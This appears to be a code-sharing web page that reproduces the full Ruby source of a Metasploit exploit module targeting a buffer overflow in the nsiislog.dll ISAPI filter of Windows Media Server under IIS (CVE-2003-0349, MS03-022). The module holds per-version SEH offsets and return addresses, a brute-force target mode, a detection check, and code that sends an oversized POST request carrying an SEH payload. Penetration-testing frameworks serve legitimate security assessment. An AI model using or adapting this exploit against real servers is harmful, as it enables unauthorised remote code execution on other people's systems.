扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 |
## # $Id: ms03_022_nsiislog_post.rb 9929 2010-07-25 21:37:54Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::BruteTargets include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow', 'Description'=> %q{ This exploits a buffer overflow found in the nsiislog.dll ISAPI filter that comes with Windows Media Server. This module will also work against the 'patched' MS03-019 version. This vulnerability was addressed by MS03-022. }, 'Author' => [ 'hdm' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9929 $', 'References' => [ [ 'CVE', '2003-0349'], [ 'OSVDB', '4535'], [ 'BID', '8035'], [ 'MSB', 'MS03-022'], [ 'URL', 'http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0120.html'], ], 'Privileged' => false, 'Payload'=> { 'Space'=> 1024, 'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ # SEH offsets by version (Windows 2000) # 4.1.0.3917 =9992 # 4.1.0.3920 =9992 # 4.1.0.3927 =9992 # 4.1.0.3931 = 14092 ['Brute Force',{ }], ['Windows 2000 -MS03-019', { 'Rets' => [9988, 0x40f01333 ] }], ['Windows 2000 +MS03-019', { 'Rets' => [ 14088, 0x40f01353 ] }], ['Windows XP -MS03-019', { 'Rets' => [9992, 0x40f011e0 ] }], ], 'DisclosureDate' => 'Jun 25 2003', 'DefaultTarget'=> 0)) register_options( [ OptString.new('URL', [ true,"The path to nsiislog.dll", "/scripts/nsiislog.dll" ]), ], self.class) end def check res = send_request_raw({ 'uri' => datastore['URL'] }, -1) if (res and res.body =~ /NetShow ISAPI/) return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit_target(target) # Create a buffer greater than max SEH offset (16384) pst = rand_text_alphanumeric(256) * 64 # Create SEH frame and insert into buffer seh = generate_seh_payload(target['Rets'][1]) pst[target['Rets'][0], seh.length] = seh # Send it to the server print_status("Sending request...") res = send_request_cgi({ 'uri'=> datastore['URL'], 'method' => 'POST', 'user-agent' => 'NSPlayer/2.0', 'content-type' => 'application/x-www-form-urlencoded', 'data' => pst }, 5) select(nil,nil,nil,1) handler disconnect end end |
体验盒子
